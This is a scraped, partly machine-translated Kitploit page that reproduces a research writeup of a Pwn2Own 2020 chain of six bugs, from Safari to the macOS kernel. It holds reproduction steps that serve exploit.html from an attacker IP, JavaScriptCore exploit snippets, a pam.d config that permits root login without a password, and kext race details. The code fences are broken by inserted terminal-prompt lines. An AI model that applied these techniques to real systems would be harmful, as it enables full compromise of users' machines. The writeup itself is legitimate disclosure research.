Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
pwn2own2020 — छह कमजोरियों को श्रृंखलित करके Safari के माध्यम से macOS Kernel से समझौता करना | Kitploit
उपकरण/GitHubGitHub/sslab-gatech/pwn2own2020
विशेषाधिकार वृद्धिशोषणशेलकोडवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंटबाइनरी शोषण
GitHubsslab-gatech/pwn2own2020

pwn2own2020

छह कमजोरियों को श्रृंखलित करके Safari के माध्यम से macOS Kernel से समझौता करना

रिपॉजिटरी देखें
414585 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

छह कमजोरियों को श्रृंखलाबद्ध करके Safari के माध्यम से macOS कर्नेल से समझौता करना

अवलोकन

इस रिपॉजिटरी में Pwn2Own 2020 में हमारी विजेता प्रस्तुति के शोषण और तकनीकी विवरण शामिल हैं, जो macOS 10.15.3 के लिए कर्नेल विशेषाधिकार वृद्धि के साथ Apple Safari को लक्षित करती है। अधिक जानकारी के लिए, आप हमारी Blackhat USA 2020 स्लाइड्स और वीडियो भी देख सकते हैं। इस रिपॉजिटरी में सफल शोषण के लिए हमारा डेमो वीडियो भी शामिल है।

पुनरुत्पादन कैसे करें

  1. exploits फ़ोल्डर में python3 का उपयोग करके HTTP सर्वर चलाएं।```shell $ python3 -m http.server 80
root@kitploit:~
2. हमलावर सर्वर के IP का उपयोग करके वेबसाइट को Safari के साथ एक्सेस करें:```
http://[attacker_ip]/exploit.html
  1. कैलकुलेटर के लिए प्रतीक्षा करें (आमतौर पर दस सेकंड में खुल जाता है, लेकिन यदि आप अभागे हैं, तो इसमें कुछ समय लग सकता है) और कर्नेल विशेषाधिकार वाला एक टर्मिनल। अपने कर्नेल विशेषाधिकार वृद्धि को प्रदर्शित करने के लिए, हमने SIP को अक्षम किया। आप csrutil status कमांड चलाकर जांच सकते हैं, जो disabled दिखाएगा।

Build from source

आपकी सुविधा के लिए, हमने एक संकलित पेलोड, payload.js प्रदान किया है। लेकिन, यदि आप चाहें, तो आप इसे स्वयं बना सकते हैं। ध्यान दें कि इसमें बहुत अधिक समय लगेगा क्योंकि हम अपने शोषण श्रृंखला के भाग के रूप में WebKit का निर्माण करेंगे। यह ध्यान देने योग्य है कि हमने अपनी निर्माण प्रक्रिया का परीक्षण केवल Mac OS में किया है।```shell

Install xcode first

$ python3 -m pip install --user lief $ make

root@kitploit:~
तकनीकी विवरण
-----------------

इस एक्सप्लॉइट को बनाने के लिए, हमने निम्नलिखित *छह* कमजोरियों को श्रृंखलाबद्ध किया।

### 1. 'in' ऑपरेटर के गलत साइड-इफेक्ट मॉडलिंग के कारण JavaScriptCore DFG कंपाइलर में सफारी में रिमोट कोड निष्पादन

- मूल कारण विश्लेषण

JavaScriptCore में, जब 'in' ऑपरेटर के साथ एक अनुक्रमित संपत्ति (indexed property) की क्वेरी की गई,
DFG कंपाइलर मानता है कि यह साइड-इफेक्ट मुक्त है जब तक कि इसकी प्रोटोटाइप श्रृंखला में कोई प्रॉक्सी
ऑब्जेक्ट न हो जो इस ऑपरेशन को इंटरसेप्ट कर सके।
JavaScriptCore एक ऑब्जेक्ट को चिह्नित करता है जो इस अनुक्रमित संपत्ति एक्सेस को इंटरसेप्ट कर सकता है
'MayHaveIndexedAccessors' नामक फ्लैग का उपयोग करके। यह फ्लैग
प्रॉक्सी ऑब्जेक्ट के लिए स्पष्ट रूप से चिह्नित किया जाता है।```javascript
0 in [] // side-effect free

let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!

हालांकि, एक और ऑब्जेक्ट है जो साइड-इफेक्ट का कारण बन सकता है: JSHTMLEmbedElement जो अपनी स्वयं की getOwnPropertySlot() विधि लागू करता है। एक तरीका 'in' ऑपरेटर के साथ JavaScript कॉलबैक (यानी साइड-इफेक्ट) को ट्रिगर करने का है PDF प्लगइन के साथ <embed> एलिमेंट का उपयोग करना; जब embed / object टैग के DOM ऑब्जेक्ट पर कोई प्रॉपर्टी क्वेरी की जाती है, तो यह बैक किए गए प्लगइन को लोड करने का प्रयास करता है और PDF प्लगइन के मामले में DOMSubtreeModified इवेंट हैंडलर को कॉल किया जा सकता है क्योंकि यह body एलिमेंट पर appendChild विधि का उपयोग करता है।

यह getOwnPropertySlot() से साइड-इफेक्ट को कॉल करने का स्टैक ट्रेस है।```txt Stack trace #1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb) #2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7) #3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const&, WTF::String&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48) #4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const&, WebCore::HTMLPlugInElement&, WTF::URL const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::String const&, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4) #5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement&, WTF::URL const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224) #6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement&, WTF::String const&, WTF::AtomString const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c) #7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85) #8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912) #9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e) #10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807) #11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7) #12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595) #13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681) #14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d) #15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77) #16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement&, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26) #17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca) #18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023) #19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913) #20 0x1e946dd6c in llint_slow_path_get_by_id (.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c)

root@kitploit:~
चूंकि प्रोटोटाइप चेन में कोई भी ऑब्जेक्ट "MayHaveIndexedAccessors" से चिह्नित नहीं है, JIT मानता है कि 'in' ऑपरेटर के इस उपयोग में ट्रांज़िशन के बाद ऐरे प्रकार की जाँचों को समाप्त करने वाले कोई ट्रांज़िशन नहीं हैं।```javascript
// In the frame of 

function opt(arr) {
	arr[0] = 1.1;
	100 in arr; // 100 not exists in arr, making it check __proto__
	return arr[0]
}

for(var i = 0; i < 10000; i++) opt([1.1])
arr.__proto__ = document.querySelector('embed')

document.body.addEventListener('DOMSubtreeModified', () => {
	arr[0] = {}
})

document.body.removeChild(embed)
opt([1.1]) // leaks address of {} as double value

By constructing addrof/fakeobj primitive from this, we could make arbitrary RW primitive to get code execution with the JIT-compiled JavaScript function.

  • शोषण

After getting addrof/fakeobj primitives, we convert it to more stable addrof/fakeobj primitives by faking an object.```javascript hostObj = { // hostObj.structureId // hostObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20) id: (new Int64('0x0108191700000000')).asJSValue(), butterfly: null, o: {}, executable:{ a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58) unlinkedExecutable:{ isBuiltinFunction: 1 << 31, a:0, b:0, c:0, d:0, e:0, f:0, // Padding (offset: 0x48) identifier: null } }, // -> fakeIdentifier = fakeObj(addressOf(hostObj) + 0x40) strlen_or_id: (new Int64('0x10')).asDouble(), // String.size target: hostObj // String.data_ptr }

hostObj.executable.unlinkedExecutable.identifier = fakeIdentifier Function.prototype.toString(fakeHostObj) // function leaked-structure-id { [native code] }

root@kitploit:~
हम fakeHostObj बनाकर और उस पर Function.prototype.toString को कॉल करके hostObj की structure id को लीक करते हैं। फ़ंक्शन का नाम UTF-16 स्ट्रिंग के रूप में structure id मान को दर्शाता है। हम structure id लीक करने के बाद hostObj को अपडेट करते हैं। यह ध्यान देने योग्य है कि यह तकनीक [Yong Wang's Blackhat EU 2019 talk](https://www.blackhat.com/eu-19/briefings/schedule/#thinking-outside-the-jit-compiler-understanding-and-bypassing-structureid-randomization-with-generic-and-old-school-methods-17513) से ली गई है।```javascript
hostObj = {
                                                            // hostObj.structureId
                                                            // hostObj.butterfly
    _: 1.1,                                                 // dummy
    length: (new Int64('0x4141414141414141')).asDouble(),
                                                            // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20)
    id: leakStructureId.asDouble(),                         // fakeHostObj.structureId
    butterfly: fakeHostObj,                                 // fakeHostObj.butterfly
    o: {},
    ...
}

अब हमारे पास fakeHostObj की butterfly है जो fakeHostObj को ही इंगित करती है। हम addrof/fakeobj प्रिमिटिव का उपयोग कर सकते हैं बिना फिर से बग को ट्रिगर किए क्योंकि हम fakeHostObj[2] का उपयोग करके hostObj.o को JSValue या double के रूप में एक्सेस कर सकते हैं।

attackObj के लीक हुए स्ट्रक्चर आईडी और addrof/fakeobj प्रिमिटिव का उपयोग करके, हम नीचे दिए गए जैसे ऑब्जेक्ट तैयार कर सकते हैं।```javascript rwObj = { // rwObj.structureId // rwObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // fakeRwObj = fakeObj(addressOf(rwObj) + 0x20) id: leakStructureId.asDouble(), // fakeRwObj.structureId butterfly: fakeRwObj, // fakeRwObj.butterfly

root@kitploit:~
__: 1.1,                                                // dummy
innerLength: (new Int64('0x4141414141414141')).asDouble(),
                                                        // fakeInnerObj = fakeObj(addressOf(rwObj) + 0x40)
innerId: leakStructureId.asDouble(),                    // fakeInnerObj.structureId
innerButterfly: fakeInnerObj,                           // fakeInnerObj.butterfly

}

root@kitploit:~
हम fakeRwObj का उपयोग करके arbitrary RW primitive प्राप्त कर सकते हैं ताकि fakeInnerObj के butterfly को अपडेट किया जा सके और fakeInnerObj से/में पढ़ा/लिखा जा सके। arbitrary RW primitive से RCE प्राप्त करने के लिए, हम डमी फ़ंक्शन का JIT संकलन ट्रिगर करते हैं, कोड पता लीक करते हैं, और इसे अपने shellcode से ओवरराइट करते हैं। कभी-कभी, कोड पता लीक विफल हो जाता है क्योंकि हम अपनी नकली सरणी से कुछ मान पढ़/लिख नहीं सकते। उस स्थिति में, हम pointer स्थान + 1 से पढ़कर और पढ़े गए मान को स्थानांतरित करके इसका अनुमान लगाने का प्रयास करते हैं। अंत में, हम alert फ़ंक्शन के कोड pointer को अपने डमी फ़ंक्शन कोड pointer से ओवरराइट करते हैं और shellcode को निष्पादित करने के लिए इसे (कुछ तर्कों के साथ) कॉल करते हैं।

### 2. didFailProvisionalLoad() में सिम्बोलिक लिंक के माध्यम से Safari में Arbitrary .app लॉन्च करना

file:// URL के लिए, Safari [NSWorkspace selectFile:inFileViewerRootedAtPath:] के साथ Finder विंडो खोलता है। यह फ़ंक्शन दो पैरामीटर स्वीकार करता है, और अधिकांश मामलों में, Safari केवल पहले पैरामीटर का उपयोग करता है, जो निर्दिष्ट फ़ाइल का युक्त फ़ोल्डर दिखाता है। लेकिन यदि दूसरे पैरामीटर का उपयोग किया जाता है, तो Finder फ़ाइल को लॉन्च करता है यदि वह निष्पादन योग्य है या कोई ऐप बंडल है।

Safari दूसरे पैरामीटर का उपयोग यह पुष्टि करने के बाद करता है कि इंगित पथ एप्लिकेशन बंडल नहीं है — .app प्रत्यय वाली निर्देशिका। चूंकि एक सिम्बोलिक लिंक एप्लिकेशन बंडल को इंगित कर सकता है, लेकिन यह .app प्रत्यय वाली निर्देशिका नहीं है। इस प्रकार, Safari सिम्बोलिक लिंक द्वारा इंगित एप्लिकेशन को लॉन्च करेगा। इस कोड पथ को didFailProvisionalLoad() IPC संदेश भेजकर ट्रिगर किया जा सकता है।

हालांकि, Safari स्वयं Seatbelt सैंडबॉक्स के सिस्टम कॉल फ़िल्टर के कारण सिम्बोलिक लिंक नहीं बना सकता। इसलिए हम एक अन्य भेद्यता का उपयोग करते हैं जो रूट देती है, लेकिन सैंडबॉक्स्ड कोड निष्पादन।

### 3. हीप ओवरफ़्लो के माध्यम से CVM (कोर वर्चुअल मशीन) सेवा में Arbitrary कोड निष्पादन

com.apple.cvmsServ (यानी CVMServer) नामक एक सैंडबॉक्स्ड XPC सेवा है, जो विभिन्न आर्किटेक्चर के लिए शेडर संकलित करती है। यह अंतर्निहित OpenGL ढाँचे का हिस्सा है।

"message" फ़ील्ड 4 पर सेट अनुरोधों के लिए, CVMServer उपयोगकर्ता-निर्दिष्ट "framework data" और "maps" को पार्स करता है। "maps" डेटा फ़ाइल "/System/Library/Caches/com.apple.CVMS/%s.%s.%u.maps" पर स्थित है - पहला %s बिना किसी फ़िल्टर के उपयोगकर्ता-निर्दिष्ट है। इसलिए निर्देशिका ट्रैवर्सल संभव है; हम इसे Safari के सैंडबॉक्स के भीतर बनाई गई फ़ाइल को पार्स करने के लिए बना सकते हैं।```c
    FILE *fp = fopen(&framework_name_, "r");
    ...
    Header *header = malloc(0x50);
    fread(header, 0x50, 1, v132);
    ...
    items_offset = header->items_offset;
    items_count = header->items_count;
    header = realloc(header, 56 * items_count + items_offset);
    fread(&header->char50, items_offset + 56 * items_count - 0x50, 1, v132);

यदि item_count * 56 + items_offset <= 0x50 है, तो fread() को 2^64 के करीब अंडरफ्लोड लंबाई प्राप्त होगी, जिससे यह मनमानी लंबाई के पेलोड के साथ हीप ओवरफ्लो बन जाता है। ध्यान दें कि fread() तब रुक जाता है जब निर्दिष्ट फ़ाइल का अंत पहुंच जाता है।

इसका उपयोग करके, हम कनेक्शन से संबंधित हीप ऑब्जेक्ट को ओवरराइट कर सकते हैं, जो नीचे उल्लिखित पॉइंटर्स को संशोधित कर सकता है:```c case 7: // "message" == 7 v34 = xpc_dictionary_get_uint64(input, "heap_index"); v11 = cvmsServerServiceGetMemory(a1a->session, v34, &port, &size); if ( v11 ) goto error; xpc_dictionary_set_mach_send(reply, "vm_port", port);

__int64 __fastcall cvmsServerServiceGetMemory(xpc_session *a1, unsigned __int64 index, _DWORD *port, _QWORD *a4) { Pool *pool; // rax unsigned int v7; // ebx heapitem *v8; // rax

pthread_mutex_lock((&server_globals + 2)); // a1->attachedService is controlled value pool = a1->attachedService->context->pool_ptr; v7 = 521; if ( pool->pointersCount > index ) { v8 = pool->pointers; *port = v8[index].port; *a4 = v8[index].size; v7 = 0; } pthread_mutex_unlock((&server_globals + 2)); return v7; }

root@kitploit:~
यदि "port" मान 0x103 (TASK-SELF) है, तो सेवा ग्राहक को CVMServer के कार्य पोर्ट की भेजने की अनुमति देगी, जिसका उपयोग मेमोरी आवंटित करने और प्रक्रिया पर मनमाना कोड निष्पादित करने के लिए किया जा सकता है। v8[index].port == 0x103 बनाने के लिए, हमने लाइब्रेरी क्षेत्र में मेमोरी की खोज की, जिसके पूरे प्रक्रिया में समान पते हैं।```txt
rax := UserInput
[rax+0x38] = X
[X+0x30] = Length (UINT64_MAX)
[X+0x28] = Y (0)
[Y+0x18*index+0x10] = 0x103 (== mach_task_self_)

कई ऐसे क्षेत्र थे जिनमें दो 64-bit integer मान 0, -1 थे, और rax+0x38 तथा X+0x30 के लिए, हमने पाया कि _xpc_error_termination_imminent, जो एक public symbol है, इस शर्त को पूरा करता है। चूंकि length 2^64 / 0x10 से बड़ी है, हम modular inverse की गणना करके बिंदु Y(==0)*0x18+index+0x10 == &0x103 को इंगित कर सकते हैं।

चूंकि CVMServer में com.apple.security.cs.allow-jit सेट था, हम MAP_JIT फ्लैग के साथ mmap को कॉल कर सकते थे और प्रक्रिया पर dylib फ़ाइलों को निष्पादित करने के लिए अपने reflective loader को आमंत्रित कर सकते थे। हमने यह कोड CVMServer पर चलाया:```c // In /var/db/CVMS (writable folder)

char randbuf[0x1000]; sprintf(randbuf, "%lu.app", clock()); symlink(randbuf, "my.app");

// Create a valid application at my.app

root@kitploit:~
%lu.app और symbolic link my.app बनाने के बाद, हम Safari पर लौटे और 
IPC संदेश भेजा ताकि ऐप खोला जा सके। लेकिन दो और सुरक्षाएँ थीं: quarantine जांच 
और पहली बार ऐप खोलने की जांच।

### 4. macOS पहली बार ऐप सुरक्षा बायपास

यदि Safari किसी ऐप को पहली बार निष्पादित करने का प्रयास करता है, तो Safari उसके 
निष्पादन को अस्वीकार कर देता है यदि फ़ाइल में com.apple.quarantine नामक गुण हो, 
या उपयोगकर्ता की पुष्टि की प्रतीक्षा करता है। WebProcess द्वारा बनाई गई सभी 
फ़ाइलों में com.apple.quarantine गुण होता है, हालाँकि हम पहले ही इसे बायपास 
कर सकते हैं क्योंकि हमने फ़ोल्डर CVMServer प्रक्रिया में बनाया, न कि 
WebProcess में। उपयोगकर्ता की पुष्टि के लिए, macOS पहले प्रक्रिया बनाता है, 
उसे रोकता है (suspend), और उपयोगकर्ता द्वारा `Open` बटन पर क्लिक करने के बाद 
प्रक्रिया जारी रखता है। लेकिन SIGCONT सिग्नल भेजना बटन पर क्लिक करने के 
समान काम करता है।

इस प्रकार, CVMServer में my.app बनाने के बाद हमने यह कोड लगातार चलाया:```c
    for(int i = 0; i < 65536; i++)
        kill(i, SIGCONT);

5. cfprefsd में रूट विशेषाधिकार वृद्धि, एक रेस कंडीशन के कारण मनमाने फ़ाइल/फ़ोल्डर अनुमति संशोधन के माध्यम से

cfprefsd एक और XPC सेवा है जो उपयोगकर्ता को plist फ़ाइल बनाने की अनुमति देती है। यह CoreFoundation में स्थित है और अधिकांश असैंडबॉक्स्ड प्रक्रिया से पहुँचा जा सकता है। चूंकि हमें पहले से ही एक सामान्य उपयोगकर्ता (यानी, CVMServer) के लिए असैंडबॉक्स्ड विशेषाधिकार प्राप्त है, हम इससे plist फ़ाइल बनाने का अनुरोध कर सकते हैं यदि लक्ष्य फ़ोल्डर और फ़ाइल में पर्याप्त अनुमति बिट्स हों जो क्लाइंट उपयोगकर्ता को फ़ाइल में लिखने की अनुमति देते हैं। हालांकि, यदि फ़ोल्डर मौजूद नहीं है, तो यह plist फ़ाइल के फ़ोल्डर को पुनरावर्ती रूप से बनाता है।

यहाँ CVMServer का एक कोड स्निपेट है जो फ़ोल्डर बनाता है।```c _CFPrefsCreatePreferencesDirectory(path) { for(slice in path.split("/")) { cur += slice if(!mkdir(cur, 0777) || errno in (EEXIST, EISDIR)) { chmod(cur, perm) chown(cur, client_id, client_group) } else break } }

root@kitploit:~
लेकिन यदि कोई पथ किसी उपयोगकर्ता-लेखन योग्य निर्देशिका की ओर इंगित करता है, तो एक उपयोगकर्ता `cur` द्वारा इंगित निर्देशिका को बदल सकता है, और इसे किसी भी फ़ाइल/फ़ोल्डर के लिए प्रतीकात्मक लिंक से बदल सकता है। चूंकि cfprefsd के पास रूट विशेषाधिकार है, इसलिए /etc/pam.d जैसे फ़ोल्डरों के स्वामित्व को बदलना संभव है। /etc/pam.d के स्वामित्व को बदलकर, हम नीचे दी गई सामग्री के साथ /etc/pam.d/login लिख सकते हैं:

``````txt
auth       optional       pam_permit.so
auth       optional       pam_permit.so
auth       optional       pam_permit.so
auth       required       pam_permit.so
account    required       pam_permit.so
account    required       pam_permit.so
password   required       pam_permit.so
session    required       pam_permit.so
session    required       pam_permit.so
session    optional       pam_permit.so

Then login root कमांड उपयोगकर्ता को बिना किसी प्रमाणीकरण के रूट शेल देगा।

6. मॉड्यूल स्टेजिंग बाईपास और kextload में रेस कंडीशन का उपयोग करके कर्नेल विशेषाधिकार वृद्धि

kextload उन प्रोग्रामों में से एक है जो macOS में kext (Kernel Extension) संचालन कर सकता है। kextload [path of .kext folder] चलाकर, एक रूट उपयोगकर्ता उपयोगकर्ता मोड से एक हस्ताक्षरित kext लोड कर सकता है। अहस्ताक्षरित या अमान्य हस्ताक्षरित kext को रोकने के लिए, kextload IOKitUser पैकेज में 'authenticator' कॉलबैक सेट करता है। दुर्भाग्य से, kext का पथ ही कॉलबैक के लिए उपलब्ध एकमात्र संसाधन है, रेस कंडीशन को रोकना कठिन है। इसे कम करने के लिए, kextload पहले kext फ़ोल्डर को समर्पित स्थान -- /Library/StagedExtensions --- में कॉपी करता है, जिसे SIP और एनटाइटलमेंट तंत्र के कारण रूट विशेषाधिकार के साथ भी संशोधित नहीं किया जा सकता है।

kextload निम्नानुसार काम करता है। यदि हम kextload /tmp/A.kext निष्पादित करते हैं, तो kextload मूल kext फ़ोल्डर को /Library/StagedExtensions/tmp/[UUID].kext पर कॉपी करता है। फिर, kextload फ़ोल्डर में सभी फ़ाइलों के हस्ताक्षर की जाँच करता है। यदि यह विफल होता है, तो यह फ़ोल्डर को हटा देता है। अन्यथा, यह फ़ोल्डर को /Library/StagedExtensions/tmp/A.kext पर कॉपी करता है और इस मॉड्यूल को लोड करता है।```txt $ kextload /tmp/A.kext -> copy to /Library/StagedExtensions/tmp/[UUID].kext -> validate signatures. if failed, delete the directory -> if succeeded, copy to /Library/StagedExtensions/tmp/A.kext -> load the kext

root@kitploit:~
One issue in kextload is that this process can be terminated with a root
privilege user. It is worth noting that the aforementioned copy includes
symbolic link, which will be validated later. However, if we kill the kextload
process before the validation, we can preserve an invalid kext with a symbolic
link in the /Library/StagedExtensions.```txt
# assume /tmp/A.kext/symlink -> /tmp/
$ kextload /tmp/A.kext
    -> copy to /Library/StagedExtensions/tmp/[UUID].kext
    -> kill this process
    -> then, /Library/StagedExtensions/tmp/[UUID].kext/symlink will be remained

इसके बाद, यदि हम kextload /tmp/[UUID].kext/symlink/B.kext के साथ एक और kextload कमांड निष्पादित करते हैं, तो B.kext को रूट विशेषाधिकार उपयोगकर्ता के लिए लिखने योग्य स्थान (जैसे, /tmp/[UUID'].kext) पर कॉपी कर दिया जाएगा।``` $ kextload /tmp/[UUID].kext/symlink/B.kext -> copy to /Library/StagedExtensions/tmp/[UUID].kext/symlink/[UUID'].kext -> since symlink -> /tmp, this is equal to /tmp/[UUID'].kext.

root@kitploit:~
कॉपी करने के बाद, kextload जांचता है कि यह एक सुरक्षित स्थान पर स्थित है या नहीं, जो `/Library/StagedExtensions/*` है। हम अस्थायी रूप से /tmp/A.kext पर एक सिम्बोलिक लिंक रख सकते हैं जो /Library/StagedExtensions/[वैध kext का पथ] की ओर इंगित करता है। सत्यापन के बाद, हम मॉड्यूल बाइनरी को एक अहस्ताक्षरित कर्नेल मॉड्यूल से बदल सकते हैं, ताकि कर्नेल कोड निष्पादन प्राप्त हो सके।

दौड़ को विश्वसनीय बनाने के लिए, हमने sandbox-exec का उपयोग किया ताकि निर्दिष्ट प्रत्यय वाली फ़ाइल तक पहुंच पर प्रोग्राम को रोका जा सके।


लेखक
-------
- Yonghwi Jin ([email protected])
- Jungwon Lim ([email protected])
- Insu Yun ([email protected])
- Taesoo Kim ([email protected])

उद्धरण
--------```txt
@inproceedings{jin:pwn2own2020-safari,
  title        = {{Compromising the macOS kernel through Safari by chaining six vulnerabilities}},
  author       = {Yonghwi Jin and Jungwon Lim and Insu Yun and Taesoo Kim},
  booktitle    = {Black Hat USA Briefings (Black Hat USA)},
  month        = aug,
  year         = 2020,
  address      = {Las Vegas, NV},
}

संदर्भ

  • https://github.com/saelo/pwn2own2018
  • https://github.com/LinusHenze/WebKit-RegEx-Exploit
  • https://github.com/niklasb/sploits/blob/master/safari/regexp-uxss.html
  • https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf
टूल डाउनलोड करें